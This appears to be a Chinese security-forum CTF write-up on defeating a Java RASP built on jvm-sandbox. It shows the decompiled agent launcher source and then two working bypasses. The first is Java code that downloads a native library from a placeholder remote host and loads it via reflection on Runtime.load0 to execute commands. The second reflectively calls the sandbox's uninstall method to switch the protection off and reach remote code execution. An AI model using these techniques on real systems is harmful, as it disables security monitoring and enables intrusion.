        Map<String, String> featureMap = toFeatureMap(featureString);  
        writeAttachResult(getNamespace(featureMap), getToken(featureMap), install(featureMap, inst));  
    }  

    private static synchronized void writeAttachResult(String namespace, String token, InetSocketAddress local) {  
        File file = new File(RESULT_FILE_PATH);  
        if (!file.exists() || file.isFile() && file.canWrite()) {  
            try {  
                FileWriter fw = new FileWriter(file, true);  

                try {  
                    fw.append(String.format("%s;%s;%s;%s\n", namespace, token, local.getHostName(), local.getPort()));  
                    fw.flush();  
                } catch (Throwable var8) {  
                    try {  
                        fw.close();  
                    } catch (Throwable var7) {  
                        var8.addSuppressed(var7);  
                    }  

                    throw var8;  
                }  

                fw.close();  
            } catch (IOException var9) {  
                throw new RuntimeException(var9);  
            }  
        } else {  
            throw new RuntimeException("write to result file : " + file + " failed.");  
        }  
    }  

    private static synchronized ClassLoader loadOrDefineClassLoader(String namespace, String coreJar) throws Throwable {  
        SandboxClassLoader classLoader;  
        if (sandboxClassLoaderMap.containsKey(namespace) && null != sandboxClassLoaderMap.get(namespace)) {  
            classLoader = (SandboxClassLoader)sandboxClassLoaderMap.get(namespace);  
        } else {  
            classLoader = new SandboxClassLoader(namespace, coreJar);  
            sandboxClassLoaderMap.put(namespace, classLoader);  
        }  

        return classLoader;  
    }  

    public static synchronized void uninstall(String namespace) throws Throwable {  
        SandboxClassLoader sandboxClassLoader = (SandboxClassLoader)sandboxClassLoaderMap.get(namespace);  
        if (null != sandboxClassLoader) {  
            Class<?> classOfProxyServer = sandboxClassLoader.loadClass("com.alibaba.jvm.sandbox.core.server.ProxyCoreServer");  
            classOfProxyServer.getMethod("destroy").invoke(classOfProxyServer.getMethod("getInstance").invoke((Object)null));  
            sandboxClassLoader.closeIfPossible();  
            sandboxClassLoaderMap.remove(namespace);  
        }  
    }  

    private static synchronized InetSocketAddress install(Map<String, String> featureMap, Instrumentation inst) {  
        String namespace = getNamespace(featureMap);  
        String propertiesFilePath = getPropertiesFilePath(featureMap);  
        String coreFeatureString = toFeatureString(featureMap);  

        try {  
            String home = getSandboxHome(featureMap);  
            inst.appendToBootstrapClassLoaderSearch(new JarFile(new File(getSandboxSpyJarPath(home))));  
            ClassLoader sandboxClassLoader = loadOrDefineClassLoader(namespace, getSandboxCoreJarPath(home));  
            Class<?> classOfConfigure = sandboxClassLoader.loadClass("com.alibaba.jvm.sandbox.core.CoreConfigure");  
            Object objectOfCoreConfigure = classOfConfigure.getMethod("toConfigure", String.class, String.class).invoke((Object)null, coreFeatureString, propertiesFilePath);  
            Class<?> classOfProxyServer = sandboxClassLoader.loadClass("com.alibaba.jvm.sandbox.core.server.ProxyCoreServer");  
            Object objectOfProxyServer = classOfProxyServer.getMethod("getInstance").invoke((Object)null);  
            boolean isBind = (Boolean)classOfProxyServer.getMethod("isBind").invoke(objectOfProxyServer);  
            if (!isBind) {  
                try {  
                    classOfProxyServer.getMethod("bind", classOfConfigure, Instrumentation.class).invoke(objectOfProxyServer, objectOfCoreConfigure, inst);  
                } catch (Throwable var13) {  
                    classOfProxyServer.getMethod("destroy").invoke(objectOfProxyServer);  
                    throw var13;  
                }  
            }  

            return (InetSocketAddress)classOfProxyServer.getMethod("getLocal").invoke(objectOfProxyServer);  
        } catch (Throwable var14) {  
            throw new RuntimeException("sandbox attach failed.", var14);  
        }  
    }  

    private static boolean isNotBlankString(String string) {  
        return null != string && string.length() > 0 && !string.matches("^\\s*$");  
    }  

    private static boolean isBlankString(String string) {  
        return !isNotBlankString(string);  
    }  

    private static String getDefaultString(String string, String defaultString) {  
        return isNotBlankString(string) ? string : defaultString;  
    }  

    private static Map<String, String> toFeatureMap(String featureString) {  
        Map<String, String> featureMap = new LinkedHashMap();  
        if (isBlankString(featureString)) {  
            return featureMap;  
        } else {  
            String[] kvPairSegmentArray = featureString.split(";");  
            if (kvPairSegmentArray.length == 0) {  
                return featureMap;  
            } else {  
                String[] var3 = kvPairSegmentArray;  
                int var4 = kvPairSegmentArray.length;  

                for(int var5 = 0; var5 < var4; ++var5) {  
                    String kvPairSegmentString = var3[var5];  
                    if (!isBlankString(kvPairSegmentString)) {  
                        String[] kvSegmentArray = kvPairSegmentString.split("=");  
                        if (kvSegmentArray.length == 2 && !isBlankString(kvSegmentArray[0]) && !isBlankString(kvSegmentArray[1])) {  
                            featureMap.put(kvSegmentArray[0], kvSegmentArray[1]);  
                        }  
                    }  
                }  

                return featureMap;  
            }  
        }  
    }  

    private static String getDefault(Map<String, String> map, String key, String defaultValue) {  
        return null != map && !map.isEmpty() ? getDefaultString((String)map.get(key), defaultValue) : defaultValue;  
    }  

    private static boolean isWindows() {  
        return OS.contains("win");  
    }  

    private static String getSandboxHome(Map<String, String> featureMap) {  
        String home = getDefault(featureMap, "home", DEFAULT_SANDBOX_HOME);  
        if (isWindows()) {  
            Matcher m = Pattern.compile("(?i)^[/\\\\]([a-z])[/\\\\]").matcher(home);  
            if (m.find()) {  
                home = m.replaceFirst("$1:/");  
            }  
        }  

        return home;  
    }  

    private static String getNamespace(Map<String, String> featureMap) {  
        return getDefault(featureMap, "namespace", "default");  
    }  

    private static String getToken(Map<String, String> featureMap) {  
        return getDefault(featureMap, "token", "");  
    }  

    private static String getPropertiesFilePath(Map<String, String> featureMap) {  
        return getDefault(featureMap, "prop", getSandboxPropertiesPath(getSandboxHome(featureMap)));  
    }  

    private static void appendFromFeatureMap(StringBuilder featureSB, Map<String, String> featureMap, String key, String defaultValue) {  
        if (featureMap.containsKey(key)) {  
            featureSB.append(String.format("%s=%s;", key, getDefault(featureMap, key, defaultValue)));  
        }  

    }  

    private static String toFeatureString(Map<String, String> featureMap) {  
        String sandboxHome = getSandboxHome(featureMap);  
        StringBuilder featureSB = new StringBuilder(String.format(";cfg=%s;system_module=%s;mode=%s;sandbox_home=%s;user_module=%s;provider=%s;namespace=%s;", getSandboxCfgPath(sandboxHome), getSandboxModulePath(sandboxHome), LAUNCH_MODE, sandboxHome, SANDBOX_USER_MODULE_PATH, getSandboxProviderPath(sandboxHome), getNamespace(featureMap)));  
        appendFromFeatureMap(featureSB, featureMap, "server.ip", "0.0.0.0");  
        appendFromFeatureMap(featureSB, featureMap, "server.port", "0");  
        return featureSB.toString();  
    }  

    static {  
        SANDBOX_USER_MODULE_PATH = DEFAULT_SANDBOX_HOME + File.separator + "sandbox-module";  
        String var10000 = System.getProperties().getProperty("user.home");  
        RESULT_FILE_PATH = var10000 + File.separator + ".sandbox.token";  
        sandboxClassLoaderMap = new ConcurrentHashMap();  
        OS = System.getProperty("os.name").toLowerCase();  
    }  
}
  • 代理模式管理:提供premainagentmain方法来支持两种启动方式,分别用于Java应用的初始化和运行时附加。

  • 配置解析:通过toFeatureMap方法将传入的特性字符串转换为键值对映射,方便后续配置使用。

  • 路径构建:定义多个私有方法(如getSandboxCfgPathgetSandboxCoreJarPath等)用于生成沙箱核心、配置、模块和库的路径。

  • 类加载:使用loadOrDefineClassLoader方法管理自定义类加载器,确保相同命名空间下的类加载仅发生一次。

  • 与代理核心交互install方法负责与代理核心服务器进行绑定和配置,确保代理正常工作。

  • 结果写入writeAttachResult方法将附加结果写入指定的文件,记录相关信息以供后续分析。

  • 卸载功能uninstall方法可以在不需要代理时清理资源,确保内存管理和资源释放。

方法一: 使用JNI绕过RASP

https://dummykitty.github.io/java/2023/06/15/Java-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%BB%95%E8%BF%87-RASP.html

远程下载so文件,并写入so文件

String fileURL = "http://xxx.xxx.xxx.xxx/"; // 替换为实际的文件 URL
String saveDir = "/tmp/libcmd.so"; // 替换为实际保存的目录路径

try {
    // 创建 URL 对象
    java.net.URL url = new java.net.URL(fileURL);
    java.io.InputStream in = new java.io.BufferedInputStream(url.openStream());
    java.io.FileOutputStream fos = new java.io.FileOutputStream(saveDir);

    byte[] buffer = new byte[2048];
    int bytesRead;

    // 读取文件并写入输出流
    while ((bytesRead = in.read(buffer, 0, buffer.length)) != -1) {
        fos.write(buffer, 0, bytesRead);
    }

    // 关闭流
    fos.close();
    in.close();

    System.out.println("文件下载成功!");

} catch (Exception e) {
    System.out.println("下载失败: " + e.toString());
}

然后进行反射加载模块(这道题似乎不行,有waf

try {
            java.lang.Class<?> runtimeClass = java.lang.Runtime.class;

            java.lang.reflect.Method load0 = runtimeClass.getDeclaredMethod("load0", java.lang.Class.class, java.lang.String.class);

            load0.setAccessible(true);

            java.lang.Runtime runtimeInstance = java.lang.Runtime.getRuntime();

            java.lang.String libPath = "/library.so"; 

             load0.invoke(runtimeInstance, Main.class, libPath);

            java.lang.System.out.println("成功通过 load0 方法加载库: " + load0);

        } catch (java.lang.Exception e) {
            java.lang.System.out.println(e);
        }

方法二:卸载rasp模块

根据前面的源码直接调用uninstall来卸载模块

try {
// 使用类加载器动态加载 AgentLauncher 类
            Class<?> agentLauncherClass = Class.forName("com.alibaba.jvm.sandbox.agent.AgentLauncher");

            // 获取 uninstall 方法
System.out.println(agentLauncherClass);
String className =Thread.currentThread().getStackTrace()[1].getClassName();
System.out.println("当前类名: " + className);
                java.lang.reflect.Method uninstallMethod = agentLauncherClass.getDeclaredMethod("uninstall", String.class);

uninstallMethod.invoke(null, "default");

            System.out.println("Sandbox 卸载成功!");

        } catch (Exception e) {
            System.err.println("调用卸载方法时出错: " + e.getMessage());
            e.printStackTrace();
        }

最后成功rce!

点击收藏 | 2 关注 | 1 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖